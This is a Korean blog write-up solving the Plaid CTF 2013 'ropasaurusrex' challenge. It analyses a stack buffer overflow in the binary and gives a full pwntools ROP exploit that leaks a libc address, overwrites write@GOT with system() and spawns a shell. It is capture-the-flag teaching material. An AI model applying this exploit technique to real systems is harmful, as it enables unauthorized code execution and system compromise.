-
Plaid CTF 2013 ropasaurusrex write-upCTF Write-Up 2018. 3. 6. 06:57
Plaid CTF 2013 ropasaurusrex 라는 문제를 풀어봤다.
먼저 정적분석을 위해 IDA로 열어본다.
먼저 main()를 살펴보면 어떤 함수를 호출하고 write()를 호출하여 win\n 이라는 문자열을 출력해주는 것을 볼 수 있다.
그 어떤 함수에 들어가 보면
바로 취약점을 찾을 수 있는데,
이는 char buf 가 bp-88 즉, 136 byte의 공간을 할당 받았지만, 바로 밑 read()에서 256 byte를 입력받게 되어있기 때문에
buffer overflow 취약점에 해당된다.
여기까지 정적분석을 마쳤으니 동적분석을 해보자.
먼저 실행을 해보면 예상처럼 입력을 받고, win이라는 문자열을 출력해준다.
그리고 memory 보호기법을 확인 해보면
NX bit 만 걸려있었다. 이는 쉘코드를 이용한 공격은 불가능하다는것을 의미한다.
나는 이 바이너리의 이름이 rop공룡이므로 ROP를 제대로 공부해보기 위해 ASLR을 켜고 풀이를 진행했다.
[ASLR check]
이제 본격적인 ROP공격을 위해 시나리오를 작성해보자.
[ROP 공격 시나리오]
1. write() 와 read()를 이용한다.
2. write@plt 와 got, read@plt, got의 주소를 구해준다.
3. /bin/sh\00 을 넣어줄 bss의 주소와 system()의 실제 주소를 구하기 위해 offset을 구한다.
4. 함수를 연속적으로 호출하기 위해 pppr gadget을 찾는다. ( read(), write()의 인자는 3개이기 때문에 pop pop pop ret )
5. 앞서 구한것들을 이용하여 페이로드를 작성한다.
먼저 write()의 plt 와 read() 의 plt 를 구해보자.
objdump 로 plt를 확인할 수 있는데, gdb에서 디스어셈을 할 수 없어서 이런 방법으로 구해줬다.
똑같은 방법으로 read()의 plt 또한 구해준다.
이렇게 구한 plt는 사실 IDA에 다 나와있다.
방법은 여러 가지다.
이제 write() 의 got 와 read() 의 got를 구해보자.
각 함수의 got는 앞서 구한 plt를 이용하여 gdb에서 구했다.
먼저 start 라는 명령어로 임의로 bp를 걸고 실행을 하였고, 위는 wirte() 의 got를 구한 모습이다.
같은 방법으로 read()의 got도 구해준다.
이렇게해서 read() 와 write()의 got&plt 는 다 구해줬다.
또 system()의 offset을 구해보면
read()가 더 높은 주소를 갖고있기 때문에 read_addr - system_addr 하여 system()의 offset을 구할 수 있었다.
이는 추후 payload를 작성할때 read()의 주소를 받아와 read()의 주소 + system_offset을 하기 위한 과정이다.
이제 /bin/sh\00을 넣어줄 bss영역의 주소와 함수를 연속적으로 호출하며 인자를 정리해줄 gadget을 구하면 된다.
먼저 bss영역부터 구해보자.
objdump -h 옵션을 주면서 한줄 간략하게 bss 영역의 주소가 0x0849628임을 확인하였고,
마지막으로 pppr gadget을 구하기 위해 objdump -d [binary] | grep -B4 "ret" 을 하여 보면
:
:
0x80484b6 부분 부터 pop pop pop ret 을 하는 gadget을 찾을 수 있다.
이제 이를 이용하여 payload를 작성해 보았다.
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768from pwn import *# input -> read() / output -> write()'''bss addr : 0x08049628system() offset : 0x99a10read plt : 0x0804832cread got : 0x804961cwrite plt : 0804830cwrite got : 0x8049614pppr : 0x80484b6'''p = process('./ropasaurusrex')# prepare to exploit : materialsread_plt = 0x0804832cread_got = 0x804961cwrite_plt = 0x0804830cwrite_got = 0x8049614pppr = 0x80484b6system_offset = 0x99a10bss = 0x08049628# bof : input "A" before return addresspayload = "A"*140# read got leakpayload += p32(write_plt)payload += p32(pppr)payload += p32(1)payload += p32(read_got)payload += p32(4)# input /bin/sh\00 into bsspayload += p32(read_plt)payload += p32(pppr)payload += p32(0)payload += p32(bss)payload += p32(8)# got overwrite ( write() -> system() )payload += p32(read_plt)payload += p32(pppr)payload += p32(0)payload += p32(write_got)payload += p32(4)# actual call function ( system(/bin/sh\00) )payload += p32(write_plt)payload += 'A'*4payload += p32(bss)p.send(payload)# receive read_addr to know system_addrread_addr = u32(p.recv()[-4:])# actual system() addresssystem_addr = read_addr - system_offset# /bin/sh\00 -> bss , system_addr <=> write@gotp.send('/bin/sh\00')p.send(p32(system_addr))# continue shellp.interactive()cs [shell]
반응형'CTF Write-Up' 카테고리의 다른 글
DEFCON CTF Qualifier 2018 ghettohacker:Throwback write up (0) 2018.05.15 Pico CTF 2013 ROP3 write-up (0) 2018.03.10 Pico CTF 2013 ROP2 write-up (0) 2018.03.10 Pico CTF 2013 ROP1 write-up (0) 2018.03.08 PicoCTF 2017 LEVEL 1 [WEB EXPLOITATION] What Is Web 풀이 (0) 2018.01.07